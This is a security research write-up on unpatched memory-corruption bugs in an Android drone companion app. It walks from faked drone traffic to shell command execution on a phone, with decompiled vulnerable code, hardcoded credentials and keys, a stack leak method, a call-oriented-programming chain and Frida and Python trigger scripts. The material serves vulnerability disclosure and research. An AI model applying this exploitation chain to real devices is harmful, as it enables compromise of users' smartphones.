From cheap IoT toy to your smartphone: Getting RCE by leveraging a companion app

Written by Romain Kraft , Cyprien Leschi - 08/07/2025 - in Exploit - Download

In this article, we will go through some vulnerabilities we found in an Android application, allowing us to take control of a recent smartphone by faking the drone itself.

Looking to improve your skills? Discover our trainings sessions! Learn more.

As IoT adoption continues to grow, we explored the idea that instead of directly compromising IoT devices, an attacker could target the applications controlling them. This approach could potentially allow remote code execution on a user’s smartphone.

To investigate this, we selected a low-cost drone model, the Eachine E58, which can be operated through several third-party applications. For our tests, we used a Samsung Galaxy S22 running Android 14, and chose LW FPV as the target application.

Following our research, we attempted to contact the maintainers of the affected libraries but received no response. As a result, the identified vulnerabilities remain unpatched. Notably, during the period we awaited a reply, the targeted application was removed from the Play Store.

Applications

The selected application contains both Java code and natives libraries relying on JNI invocation.

At first, we only reverse-engineered the native libraries of our target application, but during the exploit development, we sometimes had to take a look at the Java code to obtain more information about the functions we were manipulating.

When we attempted to reverse-engineer the Java portion of the application, we found it was packed with Bangcle, which hindered analysis. To work around this, we searched the Play Store for other applications preferably older or less protected ones that used the same or similar libraries but were not packed. We found plenty of suitable alternatives.

Playstore_applications

Each of the applications seemed to be able to control all Eachine drones, or at least the Eachine E58. They were using the same libraries.

They employed the following packing mechanisms:

  • Some of them appeared to be obfuscated with Bangcle packer
  • Some applications were easy to unpack: intercepting the unlink function with Frida and looking for dex files in the storage of the application
  • MF GPS, the most recent one, was not obfuscated.

We used mainly two applications for our analysis:

  • Our target app, com.klh.lwfpv
  • The MF GPS application, to take a look at the Java implementation.

Application internals

To be able to use the application, the user must connect to an open Wi-Fi requiring no password, set up by the drone. According to the drone type, his gateway will be either 192.168.0.1 or 172.16.10.1.

At starting time, the application starts multiple threads to try to reach one of these gateway addresses. Even if the app were to find a drone IP address, it continues to send packets to the other potential drone IP, exposing more attack surface to an attacker.

Vulnerabilities

LeweiLib23

While looking at network communications on Wireshark, we noticed some traffic involving the hardcoded IP address 192.168.0.1:

example of communication between the device and the drone

As soon as the user clicks on the START button, the application tries to connect to TCP ports 7060, 8060, and sends a lot of UDP datagrams on ports 50000 and 40000.

We identified this traffic as originating from the library liblewei-3.2.2.so, and decided to look at this attack surface.

Connections on TCP ports 7060 and 8060 are used to send and receive Lewei commands. These commands always start with magic bytes lewei_cmd, and allows common interactions with the device. For example, the controller can ask the drone to take a photo, download or delete files, format the SD card, reboot the drone, etc.

While the exact difference between both connections remains unclear, it looks like the port 7060 is used for commands involving data transfers while the other port is used for control commands.

The interaction on port 40000/udp is linked to the Live Stream which is started automatically in separated threads during initialisation. Video frames are received and added to a queue for later processing by the Java part.

AVC stream: Heap buffer overflow

The avc_read_buffer_thread function is used to receive H264 video streams, it opens a TCP socket on port 7060.

Multiple buffer overflow vulnerabilities exist when receiving data. The code does not check the size of the received data and copies it into a buffer allocated with malloc(0xA00000uLL).

char* buffer = (char*) malloc(0xA00000uLL);
// [...]
net_recv(v9, buffer, 0x2E); // receive header
if strcmp(buffer.magic,  "lewei_cmd") {
    // [...]
    if(buffer.type == 257)
        net_recv(v9, buffer, * (int*) &buffer.size); // overflow here
}
// [...]

This pattern appears multiple times but due to the size of the buffer and the fact that it only contains data, this vulnerability is unlikely to be exploitable.

VGA stream: Heap OOB write

VGA stream handler is listening on UDP port 40000. It deals with almost the same types of packet and also contains vulnerabilities. One can perform an OOB write by exploiting the following code:

char* buffer = (char*) malloc(0xA00000uLL);
// [...]
size_read = vga_recv_udp(vga_udp_t, &buffer, 2000);
// [...]
if (buffer.magic == 0x6363 && buffer.type == UDP_RECV) {
    // [...]
    size = *(short *)&buffer.content[49];
    index = *(unsigned short *)&buffer.content[45] - 1;
    memcpy(&buffer[1400 * index + 1036], &buffer.content[51], size); // OOB write
}

SendGetRecPlan: Heap Buffer Overflow

When a device is connected to the application and the user clicks on start, the following call is made:

    int LW93SendGetRecPlan = LW93SendGetRecPlan();
    this.retRecordPlan = LW93SendGetRecPlan;
    if (LW93SendGetRecPlan == 1) {
        Log.d("", "remote sdcard not recording.");
    }

Under the hood, it calls a JNI function in liblewei-3.2.2.so, which sends a command to port 8060 of the drone.

bool Java_com_lewei_lib_LeweiLib_LW93SendGetRecPlan() {
    int64_t buffer[3];
    int size = 0;
    if ( (send_command(6, 0LL, buffer, &size) & 0x80000000) != 0 )
        return 0LL;
    // [...]
    return SLODWORD(buffer[0]) > 0;
}
int send_command(int cmd_id, uint64_t a2, char* buffer, int* size) {
    char* buffer = malloc(0x200uLL);
    // [...]
    switch (cmd_id) {
        // [...]
        case 6:
        // [...] fill the buffer
        if ( send(socket_8060, buffer, 0x2EuLL, 0) <= 0 )
            goto EXIT_ERROR;
        if ( net_recv(socket_8060, buffer, 46) <= 0x2D )
            goto EXIT_ERROR;
        if ( strcmp(&buffer->magic, "lewei_cmd") )
            goto EXIT_ERROR;
        // [...]
        net_recv(socket_8060, buffer, (int) buffer->size); // Heap overflow here
        // [...]
        goto EXIT;
        break;
        // [...]
    }
}

The overflow occurs in the allocation bins with sizes between 0x1c0 and 0x250 (Scudo 64-bits).

ParseGLInfoData: BSS buffer overflow

Another interaction is visible on UDP port 50000: when data is received through this port, it is parsed with the native function LWUartProtolFlyInfoParseData in liblewei_uartprotol.so.

This library handles the parsing of a FlyInfo object, which contains information about the current fly state of the drone, its coordinates, its speed, etc.:

public class FlyInfo {
    // [...]
    public float height;
    public float speed;
    public float velocity;
    public Coordinate coordinate = new Coordinate();
    // [...]
}

This FlyInfo object is then used back in the Java implementation. It is updated regularly by a thread which calls LWUartProtolGetControlData every 50 milliseconds.

The liblewei_uartprotol.so library handles a lot of different types of drones with different formats, and also implements a state-machine based on the protocol used by the drone, which can vary during communication.

During parsing of the received FlyInfo object in ParseGLInfoData, received data is copied directly into a BSS address, using a length taken from the buffer without boundary check:

char ParseGLInfoData(char *buffer, unsigned short received_len,
                                    controlPara_t *controlPara, flyInfo_t *flyInfo) {
    // [...]
    if ( buffer[0] != 'X' )
        return buffer;
    data_length = (unsigned char)buffer[2];
    if ( data_length + 4 > received_len )
        return buffer;
    // [...]
    buffer = memcpy(&GLFlyInfoData, buffer + 3, data_length);
    // [...]
}

As data_length is an unsigned char, it is possible to copy up to 0xff bytes in the BSS, overwriting any global variable located after GLFlyInfoData.

This function is reachable through the ParseFlyInfoData function, which redirects the call depending on the current protocol. The protocol is defined by controlPara->uartProtol, which starts at value 0 (Protocol_None) by default.

When the protocol is undefined, ParseFlyInfoData tries to parse the data into several protocols until one checksum is valid and controlPara->uartProtol is set. This behaviour makes ParseGLInfoData reachable easily:

switch ( controlPara->uartProtol ) {
    case 0:
        ParseBTInfoData(buffer, received_len, controlPara, flyInfo);
        if ( !controlPara->uartProtol )
            ParseLWInfoData(buffer, received_len, controlPara, flyInfo); break;
        if ( !controlPara->uartProtol )
            ParseGLInfoData(buffer, received_len, controlPara, flyInfo); break;
        if ( !controlPara->uartProtol )
            ParseHYNInfoData(buffer, received_len, controlPara, flyInfo); break;
        if ( !controlPara->uartProtol )
            ParseWSInfoData(buffer, received_len, controlPara, flyInfo); break;
        if ( !controlPara->uartProtol )
            ParseHHFInfoData(buffer, received_len, controlPara, flyInfo); break;
        if ( !controlPara->uartProtol )
            ParseFSInfoData(buffer, received_len, controlPara, flyInfo); break;
        break;
    // [...]
}

In the BSS located after GLFlyInfoData, there is a pointer called LWDroneSoftwareData which is used in GetDroneVersionPageData to read information that will be sent back to the device:

long double GetDroneVersionPageData(char *out_buffer, int *out_length) {
    // [...]
    *(int16_t *)&buffer[6] = LWdroneSoftwarePage;
    p_droneSoftwareData = LWDroneSoftwareData + (LWdroneSoftwarePage << 6);
    *(int64_t *)&buffer[10] = *(int64_t *)p_droneSoftwareData;
    *(int64_t *)&buffer[26] = *((int64_t *)p_droneSoftwareData + 1);
    *(int64_t *)&buffer[42] = *((int64_t *)p_droneSoftwareData + 2);
    *(int64_t *)&buffer[58] = *((int64_t *)p_droneSoftwareData + 3);
    // [...] copy buffer in out_buffer
}

This could have been an interesting lead for an arbitrary read.

Unfortunately, GetDroneVersionPageData is reachable only with protocols Protocol_LWGPS_HK or Protocol_LWGPS_HF, and when flyInfo->flags & 0x100 != 0. All paths found to change the flag also change controlPara->uartProtol to a state where both protocols stated previously become unreachable.

This vulnerability is not exploitable as-is, but depending on the BSS layout at compile-time, it could become exploitable in future releases.

Devices controlled by liblewei63.so and libFHDev_Net.so

When launching the application a lot of TCP requests are sent to 172.16.10.1 port 8888. These requests originate from liblewei63.so, which is mainly a wrapper for libFHDEVNet.so.

Under the hood, libFHDEVNet.so is capable of controlling a wide range or versions of devices, and starts by trying multiple parameters to find the right device type. To do so, it uses its own protocol with the following packets:

diagram showing the layout of a packet

Packet types are defined by the combination of model_id, cmd_id and seq_id.

At startup, a LOGIN packet is sent with model_id = 0 and hardcoded username and password: ('leweiadmin', 'leweiadmin'). The packet is encrypted with the hard coded key '0123456789012456', and if it does not work the key '123leweimark1234' is used instead.

To perform requests, the function NC is used:

int64_t NC(int model_id, int socket, int is_encrypted, char a4, char* user, char *password, char cmd_id, char seq_id,
                char a9, char a10, char* inout_buffer, int* inout_len, char* a13, int timeout, char a15);

This function packs the buffer containing request’s data in inout_buffer and encrypts the data with the chosen key, saved in a global g_aes_key variable.

The response will be a device type, which will lead to a constructor of the corresponding device_t object:

ida view showing device initialisation disassembly

The device_t object contains a function table, used to redirect generic calls to a device-specific implementation.

Device information is then saved in a user_info global that will be used during the whole lifetime of the application.

Multiple threads are also created during initialisation. They use different sockets on the same server port:

  • one is called notify thread and receives information without request
  • another one is used as a heartbit

libFHDEV_Net

Stack overflow in GetUserList

One of the threads started on the Java side calls the native function LeweiLib63.LW63GetClientSize:

// [...]
while (FlyCtrl.this.isNeedSendData) {
    int mClientCount = LeweiLib63.LW63GetClientSize();
    if (mClientCount == 1) {
        break;
    } else {
        Thread.sleep(2000L);
    }
}
// [...]

This function ends up calling get_user_list on the created device. After receiving the user list, a lewei_userlist is filled with received data, with a loop iterating over item_count computed from received length:

int64_t Java_com_lewei_lib63_LeweiLib63_LW63GetClientSize() {
  int user_count;
  uint8_t user_list[0x880];

  user_count = FHDEV_NET_GetUserList(user_info, user_list);
  if ( user_count )
    return user_list[65];
  return 0;
}

According to the device type, a get_user_list function is called by FHDEV_NET_GetUserList. As an example, for Device61 the function is as follows:

int64_t get_user_list_61(device_t *dev, lewei_userlist_t *list) {

    char buffer[0x1000];
    int length;

    // [...]
    NC(1u, dev->socket, 1, 3, dev->user, dev->password, 1, 5, 0, 0, buffer, &length, 0LL, g_dwRecvTimeOut, 1);
    // [...]
    int item_count = length / 0x45uLL;
    if ( length % 0x45uLL ) {
        // [...] error
    }
    else {
        if ( item_count < 1 )
            return 1LL;
        i = 0LL;
        char *curr_item = &list->items[0].field_41;
        char *buf_ptr = buffer;
        do {
            // [...] fill curr_item based on buf_ptr
            ++i;
            buf_ptr += 0x45;
            curr_item += 0x44;
        } while ( i < item_count );
        return 1LL;
    }
}

Here list st is a 0x880 bytes wide stack variable, so it is possible to overflow its boundaries by sending more than 31*0x45 bytes.

Getting a leak

In order to communicate with the device, the function NC is used for both sending and receiving data:

int64_t NC(int model_id, int socket, int is_encrypted, char a4, char* user, char *password,
        char cmd_id, char seq_id, char a9, char a10, char* inout_buffer, int* inout_len, char* a13, int timeout, char a15) {

    char buffer[0x1052];

    // [...]
    memset(buffer, 0, sizeof(buffer));
    // [...]

    // Sending data
    send_len = *inout_len;
    // [...]
    if ( send_len >= 1 )
        memcpy(&buffer[82], inout_buffer, send_len);
    TCPSocketSend(socket, buffer, g_ucHeadLen + send_len, is_encrypted)
    // [...]

    // Receiving data
    received_len = TCPSocketRecv(socket, buffer, g_iNetMsgLen, timeout, is_encrypted, a15);
    // [...]
    msg_length = *(unsigned short *)&buffer[79];
    if ( inout_buffer && msg_length >= 2uLL )
        memcpy(inout_buffer, &buffer[82], msg_length - 1);
    // [...]
    *inout_len = msg_length - 1;
    if ( msg_length <= 1u )
        *inout_len = 0;
    // [...]
}

When data is received, inout_len is set to a length taken from the buffer. We found a stack buffer overflow during the second memcpy, but we cannot control overflown data as g_iNetMsgLen sets a maximum receive length to 0x1052. However, depending on how this function is used we can use it to leak information on the stack after the buffer variable.

Especially, patterns with two chained calls that use the same in-out variables are vulnerable. The first one will set inout_len to an arbitrary value, and the data will be sent on the second call:

char buffer[0x1000];
int length;

// GetTimeZone
NC(1u, device->socket, 1, 3, device->user, device->password, 16, 11, 0, 0,
    buffer,
    &length,
    0LL, g_dwRecvTimeOut, 1);

// [...]

// GetCapacity
NC(1u, device->socket, 1, 3, device->user, device->password, 16, 1, 0, 0,
    buffer,
    &length, // length is reused without being reset!
    0LL, g_dwRecvTimeOut, 1);

This pattern is present in several device functions, for our PoC we used GetCapacity because it is automatically called right after the device creation.

Exploitation

Leak and neutralisation

The first step of our PoC is to retrieve a library address using the vulnerability in GetCapacity. To do so we respond to the GetTimeZone command with a message such as msg_length > 0x1000 (see Getting a leak).

Unfortunately, doing so will also trigger a stack buffer overflow which will overwrite the stack from the outer function with uncontrolled data:

    // NC function
    // [...]
    received_len = TCPSocketRecv(socket, buffer, g_iNetMsgLen, timeout, is_encrypted, a15);
    // [...]
    msg_length = *(unsigned short *)&buffer[79];
    if ( inout_buffer && msg_length >= 2uLL ) {
        // Here, the stack after buffer will be copied after inout_buffer
        memcpy(inout_buffer, &buffer[82], msg_length - 1);
    }
    // [...]

This overflow will trigger a crash when the outer function ends. In order to neutralise it, we can use the second call to TCPSocketRecv to send a response byte per byte and stay stuck in the receiving loop. As there is a 5-seconds timeout when receiving data with AESSocketRecv, we must regularly send at least one byte.

The overall code flow will be as follows:

code flow of a leak

The drawback of this technique is that the thread handling these commands will be stuck, preventing usage of other vulnerabilities based on this protocol, such as the overflow in GetUserList.

If we set a value which is too high for msg_length, the application will crash before the memcpy finishes. As the stack contains several buffers of 0x1000 bytes this leak will be limited, preventing us from directly obtain an address from the libc or any other system-level library.

The leak allows us to retrieve some information,  including:

  • the stack cookie
  • the base address of libFHDEV_Net.so
  • the base address of liblewei63.so
  • a stack address near our controlled buffer
  • some heap addresses

In Android, all applications are forked from Zygote, if we leak a system library, every application instances will share the same addresses. In our case, since the leaked libraries are not system libraries, we can not let the leak crash and wait for the user to relaunch his application, the addresses will change and library will be loaded at a random address.

Another leak will be required to obtain a libc-address.

Call Oriented Programming

The above leak gave us a good starting point to exploit the applications but since we can’t return from it, we need to find exploitation primitives in others libraries.

In the vulnerabilities we found in lewei-3.2.2.so, the only promising one was the heap overflow in a 0x200 bytes allocation (see SendGetRecPlan Heap Buffer Overflow).

Since the Samsung Galaxy S22 uses Scudo and we overwrite the allocation cookie, we have to hope that none of the allocations before are freed before we reach this crash, but it seems that allocations are not often freed in this slab.

When overflowing enough allocations, a crash appears:

 signal 7 (SIGBUS), code 1 (BUS_ADRALN), fault addr 0x0041414141414141
     x0  4141414141414141  x1  00000078654ead28  x2  00000077259019b0  x3  0000000000000000
     x4  0000007725901430  x5  000000000032258a  x6  0000000000000001  x7  00001118480c2e3d
     x8  0000007885466f10  x9  4141414141414141  x10 0000000000000003  x11 0000000000000000
     x12 0000000000000000  x13 00000078e55836c0  x14 0000000000000033  x15 00000078e55836c0
     x16 0000000000000001  x17 0000007b4e2583b0  x18 000000772131e000  x19 0000007a45491a10
     x20 0000007a45491a10  x21 0000007725902000  x22 0000007865459fd0  x23 0000000000000000
     x24 00000077259012e0  x25 0000000000000000  x26 0000000000000000  x27 0000007725902000
     x28 00000078e547e680  x29 0000007725901140
     lr  0000007b61516188  sp  0000007725901140  pc  0041414141414141  pst 0000000060001800
 17 total frames
 backtrace:
       #00 pc 0000004141414141  <unknown>
       #01 pc 0000000000516184  /system/lib64/libhwui.so (android::uirenderer::LinearAllocator::~LinearAllocator()+36) (BuildId: 0fb03d4338d15c39e5e4dbb9cfe9c774)
       #02 pc 0000000000501d74  /system/lib64/libhwui.so (android::uirenderer::skiapipeline::SkiaDisplayList::reuseDisplayList(android::uirenderer::RenderNode*)+168) (BuildId: 0fb03d4338d15c39e5e4dbb9cfe9c774)
       #03 pc 0000000000526a2c  /system/lib64/libhwui.so (android::uirenderer::RenderNode::deleteDisplayList(android::uirenderer::TreeObserver&, android::uirenderer::TreeInfo*)+208) (BuildId: 0fb03d4338d15c39e5e4dbb9cfe9c774)
       #04 pc 0000000000527958  /system/lib64/libhwui.so (android::uirenderer::RenderNode::prepareTreeImpl(android::uirenderer::TreeObserver&, android::uirenderer::TreeInfo&, bool)+1844) (BuildId: 0fb03d4338d15c39e5e4dbb9cfe9c774)
       // [...]

We crash in the following code which is very promising:

LinearAllocator::~LinearAllocator(void) {
    while (mDtorList) {
        auto node = mDtorList;
        mDtorList = node->next;
        node->dtor(node->addr); // CRASH HERE
    }
    // [...]
}

This primitive gives us the possibility to call arbitrary functions with the first arguments controlled. Chaining it with the leak above, it allows us to do the following:

schematic of the cop

Our goal here was to demonstrate that an exploit can be doable on a recent device, we did not work on stability or heap shaping to ensure that the exploit is stable. So we will not approach here how we can heap shape and/or neutralise other allocations to ensure reliability of this heap overflow.

We used the following Frida script to reproduce our setup and not be constrained by the shaping:

function trigger(destructor_node_content){
    let libhwui = Process.getModuleByName("libhwui.so").base
    
    // LinearAllocator::~LinearAllocator() function pointer
    let linearAllocator_dtor_ptr = libhwui.add(0x516164)
    
    // propagate to keep craches in Logcat : logcat -s DEBUG
    let linearAllocator_dtor_func = new NativeFunction(linearAllocator_dtor_ptr, "void", ["pointer"], {exceptions: "propagate"}) 


    // Writing first node content
    let destructor_array = Memory.alloc(0x18)
    destructor_array.writeByteArray(destructore_node_content)

    // Creating a fake LinearAllocator object
    let fake_thiz = Memory.alloc(48)
    fake_thiz.add(40).writePointer(destructor_array)
    linearAllocator_dtor_func(fake_thiz)
}

rpc.exports = {
    trigger : trigger
}

This Frida script is then used in addition with a Python script that simulates the heap overflow trigger function:

device = frida.get_usb_device()
session = device.attach(int(pid.decode()))

script = session.create_script(script_content)
script.load()

api = script.exports_sync

data = struct.pack("<Q", g_libbase + 0x738E8) # CALL
data += struct.pack("<Q", g_stack_buffer) # ARGS
data += struct.pack("<Q", g_stack_buffer + 0x250*6) # NEXT

api.trigger(data)

Transforming COP-Chain into arbitrary read

Since our call primitive allows us to call arbitrary address with a controlled argument, we thought that the libc system() function was a good target to demonstrate the final exploit.

To be able to leak the libc base address, either we can have a primitive that allow us to reuse an existing connection by using its file descriptor, either we find a function taking one argument, creating a connection and performing a send call. We found the second one:

int sub_738E8(device_t *user_info)
{
  char inout_buffer[4096];
  memset(inout_buffer, 0, sizeof(inout_buffer));
  if ( (unsigned int)Dev_GetHandleCount(user_info, 2LL) )
  {
    LogPlatformOut(1LL, "shoting...\n");
    SetLastErrorPlatform();
    return 0LL;
  }
  
  int socket = TCPSocketCreate(
    &user_info->target_ip,
    user_info->target_port,
    &user_info->bind_ip,
    user_info->bind_port
  );

  if ( (socket & 0x80000000) != 0 )
    return 0LL;
  
  int inout_len = 1;
  inout_buffer[0] = 1; 
  if ( !NC( 0xBu,
            socket,
            1,
            3,
            &user_info->username,
            &user_info->password,
            16,
            1u,
            0,
            0,
            inout_buffer,
            &inout_len,
            0LL,
            g_dwRecvTimeOut,
            1) )
  {
    SocketClose(socket);
    return 0LL;
  }
  // [...]
}

To use this primitive, we need to forge arbitrary device_t objects in our stack containing arbitrary IP and port (even though we fake the drone and can listen for packet going to uncontrolled IP Port).

We now have the following COP-chain:

schematic of the cop 2

We did not find a direct way to make the request leak data, but we found that we could change the variable g_aes_key to make it point on an arbitrary address:

int FHDEV_NET_SetCryptKey(char *key_addr)
{
  int128 l_aes_key; // q0
  int result; // x0

  if ( key_addr )
    l_aes_key = *key_addr;
  else
    l_aes_key = g_aes_key_default;
  result = 1LL;
  *(int128 *) g_aes_key = l_aes_key;
  return result;
}

By making a call to this function we can change the AES key used to encrypt our request. While giving us a good primitive, this is only useful if we are able to have a libc pointer next to known addresses. Fortunately, the .got section of the currently leaked library is full of it:

schematic of the cop

In the image above, both PES_OutputPes and Dev_GetHandleCount are functions in libFHDEV_Net.so which we know the base address.

By carefully setting our g_aes_key pointer to the pthread_create_ptr + 0x8, performing a NC call which encrypts its request, decrementing this g_aes_key and repeating, we can brute force one by one the byte that changed in g_aes_key, leading to leak pthread_create_ptr and therefore a libc.so address.

schematic of cop 4

leak using the aes encryption animation

Keep in mind that we need to keep track of the currently used key to be able to modify the COP-chain later on.

Executing system command

At this point we have:

  • a COP chain sending messages in a loop and changing the AES key
  • a neutralised thread stuck in a loop which receives one byte each second
  • the libc base address

In order to make the final system call, we need to change the COP chain. To do so, we used another behaviour of NC:

    // [...]
    int tries = -1;
    // [...]
    do {
        v31 = TCPSocketRecv(socket, buffer, g_iNetMsgLen, timeout, is_encrypted, a15);
        // [...]
        if ( inout_buffer[3] == cmd_id && inout_buffer[4] == seq_id + 1 )
            break;
        ++tries;
    } while ( tries < 9 );
    if ( tries + 1 > 9 )
        return 0;
    // [...]

When receiving data, NC verifies that the packet cmd_id and seq_id corresponds to expected values, drops the packet if its not the case, and listens for another one.

This loop allows us to rewrite the content of the buffer up to 10 times. Combined with the byte-per-byte neutralisation technique, it gives us a good control over the COP chain.

The following diagram summarizes the different steps of the COP chain:

cop5

Putting all the pieces together, and with some luck on how the heap layout is set up, we can finally execute arbitrary shell commands on the device:

$ adb logcat -s EXPLOIT
--------- beginning of main
03-05 12:36:15.803 15692 15692 I EXPLOIT : uid=10322(u0_a322) gid=10322(u0_a322) groups=10322(u0_a322),3003(inet),9997(everybody),20322(u0_a322_cache),50322(all_a322) context=u:r:untrusted_app_32:s0:c66,c257,c512,c768

Timeline

03/2025 Discovery and exploitation of identified vulnerabilities
24/03/2025 Initial contact with the publisher of affected libraries
22/04/2025 Follow-up email sent to the publisher
08/07/2025 Publication of the article